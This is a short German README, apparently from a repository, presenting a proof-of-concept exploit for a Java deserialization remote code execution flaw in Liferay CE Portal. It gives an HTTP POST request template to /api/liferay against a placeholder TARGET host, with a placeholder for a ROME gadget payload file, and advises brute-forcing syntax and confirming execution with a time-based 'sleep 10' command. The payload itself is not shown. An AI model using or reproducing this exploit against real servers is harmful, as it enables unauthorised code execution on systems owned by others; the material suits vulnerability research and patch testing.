Liferay-CE-Portal-Java-Deserialization

Dieses Repository enthält einen PoC für die Remote-Code-Execution-Schwachstelle von Liferay CE Portal!

Payloads

Ich habe die Payloads bereits im Repository geteilt. Du musst die richtige Syntax per Brute-Force-Methode herausfinden. Die von mir geteilten Payloads dienen als zeitbasierter Proof of Concept (sleep 10). Die Anwendung gibt den Befehl möglicherweise nicht immer aus. Deshalb solltest du beim PoC einen zeitbasierten Payload ausprobieren.

Proof of Concept

• POST /api/liferay HTTP/1.1
• Host: TARGET
• User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0)
• Accept: text/html,application/xhtml+xml,application/xml;q=0.9
• Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
• Accept-Encoding: gzip, deflate
• Connection: close

ROME-PAYLOAD-FILE

Beispiel PoC (sleep 10)